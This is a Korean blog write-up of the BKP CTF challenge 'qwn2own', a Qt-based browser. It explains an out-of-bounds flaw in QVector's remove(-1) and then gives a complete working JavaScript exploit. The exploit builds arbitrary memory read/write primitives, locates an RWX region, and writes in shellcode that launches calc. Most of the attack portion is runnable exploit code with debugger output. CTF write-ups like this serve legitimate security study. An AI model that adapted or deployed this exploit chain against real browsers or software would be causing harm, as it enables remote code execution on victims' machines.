howdays

JIN's Lab

Hacking, Write-up

BKP CTF qwn2own

코드에서 보다시피 범위에 대한 Check 부분이 대부분 없어서 Out Of Bounds 취약점이 생기는 것을 볼 수 있다.
inst.get(N) 을 통해서 읽어 올려고 했는데 내부적으로 범위 Check 루틴이 있어서 읽어 올 수 없었다.
여러가지를 시도 해봤는데 inst.remove(N) 에서 특이한 점이 발견 되었다.

QVector<unsigned long long>::erase 
...
    if ( *(&this->d->0 + 2) & 0x7FFFFFFF )
    {
      if ( v5->ref.atomic._q_value > 1u )
      {
        QVector<unsigned long long>::reallocData(this, v5->size, *(&this->d->0 + 2) & 0x7FFFFFFF, 0);
        v5 = this->d;
        v6 = this->d->offset;
      }
      v8 = 8LL * v7;
      memmove(v5 + v8 + v6, v5 + 8 * v3 + v8 + v6, 8LL * (v5->size - v3 - v7));
      v5 = this->d;
      v5->size -= v3;
      v6 = v5->offset;
    }

코드를 보면 remove 에서는 범위 체크 부분이 없고 , beginend 의 거리를 잰 후에 memmove 함수를 통해 데이터를 끌어오고 size 를 감소시키는 방식이다.

a = [1,2,3] 데이터가 있을 때 , a.remove(-1)를 실행 할 경우 , 데이터는 memmove를 통해 a[-1] = 1; a[0] = 2; a[1] = 3; 로 될 것이고 size 는 감소하여 2가 된다.

즉 , 우리는 앞에있는 데이터를 덮을 수가 있다.
이젠 무엇을 덮어야 될지가 관건이다.

QVector<T>::Data == QTypedArrayDataQArrayData 를 상속 받는다.
코드 : https://code.woboq.org/qt5/qtbase/src/corelib/tools/qvector.h.html#ZN7QVector6appendERKT
append 구문을 보자.

template <typename T>
void QVector<T>::append(const T &t)
{
    const bool isTooSmall = uint(d->size + 1) > d->alloc;
    if (!isDetached() || isTooSmall) {
        T copy(t);
        QArrayData::AllocationOptions opt(isTooSmall ? QArrayData::Grow : QArrayData::Default);
        realloc(isTooSmall ? d->size + 1 : d->alloc, opt);
        if (QTypeInfo<T>::isComplex)
            new (d->end()) T(std::move(copy));
        else
            *d->end() = std::move(copy);
    } else {
        if (QTypeInfo<T>::isComplex)
            new (d->end()) T(t);
        else
            *d->end() = t;
    }
    ++d->size;
}

요약 하면 *d->end() iterator 처럼 호출 하여 data 배열의 끝 주소를 가져 온 후 값을 넣는다.
end는 data의 주소를 어떻게 가져오는 것 일까?

코드 : https://code.woboq.org/qt5/qtbase/src/corelib/tools/qarraydata.h.html#_ZN10QArrayData4dataEv

iterator end(iterator = iterator()) { return data() + size; }

void *data()
{
    Q_ASSERT(size == 0
             || offset < 0 || size_t(offset) >= sizeof(QArrayData));
    return reinterpret_cast<char *>(this) + offset;
}

QArrayData + offset를 통해 data가 담긴 주소를 가져온다.

예시 )

<script>
    pin = 0xdeadbeef;
    db = BKPDataBase.create("AAA","BBB");
    st = db.createStore("AA",1,[1,2,3,4,5,6],pin);
</script>
pwndbg> x/30gx 0x557b24ab2100
0x557b24ab2100: 0x0000000600000001 [size|ref]   0x0000557b0000000d [capacityReserved|alloc]
0x557b24ab2110: 0x0000000000000018 [offset]     0x0000000000000001 [data ...]
0x557b24ab2120: 0x0000000000000002  0x0000000000000003
0x557b24ab2130: 0x0000000000000004  0x0000000000000005
0x557b24ab2140: 0x0000000000000006  

pwndbg> x/30gx 0x557b24ab2100+0x18
0x557b24ab2118: 0x0000000000000001  0x0000000000000002
0x557b24ab2128: 0x0000000000000003  0x0000000000000004
0x557b24ab2138: 0x0000000000000005  0x0000000000000006

보다시피 0x557b24ab2100(QArrayData)offset를 더하니 data 주소가 나온다.
자세히 보면, data 값 앞에 바로 offset 값이 있다.
즉, 우리는 remove(-1) 를 통해 offset를 수정 할 수 있는 것 이다.

익스는 Array A , B 두개 만든 후 , 두개의 간격을 구한다.
A의 oob를 통해 B의 offset 필드를 수정하여 Arbitrary Address Read , Write 를 하여 rwx 공간을 찾는다.
JIT이용해서 rwx 공간을 만들어서 익스를 하려고 했지만 , 그렇게 안해도 rwx 공간이 있길래 덮고 새로고침했더니 익스가 되었다.

exploit video

function JIT(b) {
    for(i = 0; i < 0x40000; i ++) {
        a = i;
        b = a ^ i;
        a += b;
        a ^= 0xcafeb00b;
    }
    return a;
}

function print(x){
    document.write(x+"<br>");
}

function assert(condition,x) {
    if(!condition)  {
        alert(x);
        location.href = location.href
    }
}

function hex(d) { 
    return "0x" + d.toString(16);
}

//ab = ArrayBuffer(8);
f64 = new Float64Array(1);
u32 = new Uint32Array(f64.buffer);

db = BKPDataBase.create("AAA","BBB");

for(i=0; i<1400; i++)
    db.createStore(i.toString(16),1,[0,1],0xcafebabe);

st = db.createStore("AA",1,[0,1],0xdeadbeef);
st.remove(-1);
st.insert(0,0x7fffffff00000000); //size -> 0x7fffffff
print("size : " + hex(st.get(0)));

st_addr = -1;

for(i=1; i<100; i++){
    if(st.get(i-1) == 0x1 && st.get(i) == 0x000000050000000a){
        st_addr = st.get(i+1);
        break;
    }
}


assert(st_addr!=-1,"st_addr");

st_addr = st_addr - 0x38;

print("st_array : " + hex(st_addr));

vicst = db.createStore("CC",1,[0xccbabecccc,0xccbabecccd],0x10101010);
var vicst_addr = -1;
var vicst_offset_idx = -1;

for(i=1; i < 0x500; i++){
        if(st.get(i) == 0xccbabecccc && st.get(i+1) == 0xccbabecccd && st.get(i+2) == 0x10101010){
            vicst_addr = st_addr + (i-3) * 8;
            vicst_offset_idx = i - 1;
            break;
    }
}

assert(vicst_addr!=-1,"vicst_addr");

print("vicst_addr : " + hex(vicst_addr));
print("vicst_offset_idx : " + hex(vicst_offset_idx));

for(i=1; i < 0x500; i++){
        if(st.get(i) == vicst_addr){
            qtcore = st.get(i+1);
            break;
    }
}

assert(qtcore!=-1,"qtcore_addr");

qtcore = qtcore - 0x3592c0;
print("qtcore_addr : " + hex(qtcore));

function read(addr) { 
    st.insert(vicst_offset_idx , addr - vicst_addr);
    return vicst.get(0);
}

function write(addr,value) { 
    st.insert(vicst_offset_idx , addr - vicst_addr);
    vicst.insert(0,value);
}

map = -1;
for(i=1; i < 0x1000; i++){
        if(st.get(i) == 0x0000215e00000000){
            map = st.get(i+8);
            break;
    }
}

assert(map!=-1,"map");
print("map : " + hex(map));

rwx = read(map+0x3728)

print("rwx : " + hex(rwx));

//shellcode = [0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x1697268, 0x24348101, 0x1010101, 0x6a56f631, 0x1485e08, 0x894856e6, 0x6ad231e6, 0x50f583b]
shellcode = [257440106, 3229960197, 535515253, 1459645023, 607423816, 1784296683, 2370327040, 996811796, 1778716504, 826824764, 3892645887, 4294967260, 1920169263, 1852400175, 1869506351, 1663919469, 1969450081, 1869898092, 3353870450, 1157627903, 1280332617, 977099073, 1094778928, 1094795585, 1094795585, 1094795585, 1094795585, 1094795585]; //calc

ok = false;

for(i=1; i < 0x1000; i++){
    a = read(rwx+i).toString(16);
    a = a.substring(a.length-2,a.length);
    b = read(rwx+i+1).toString(16);
    b = b.substring(b.length-2,b.length);
    if(a+b == "ffe0") { //jmp rax
        print("jmp rax in rwx address " + hex(rwx+i));
        for(j = 0; j < shellcode.length; j++){
            ok = true;
            write(rwx+i + 4 * j,shellcode[j]);        
        }
    }
}

assert(ok==true,"ok");
alert("calc will be executed a few seconds later.");
location.reload(); //go shellcode

Leave a Reply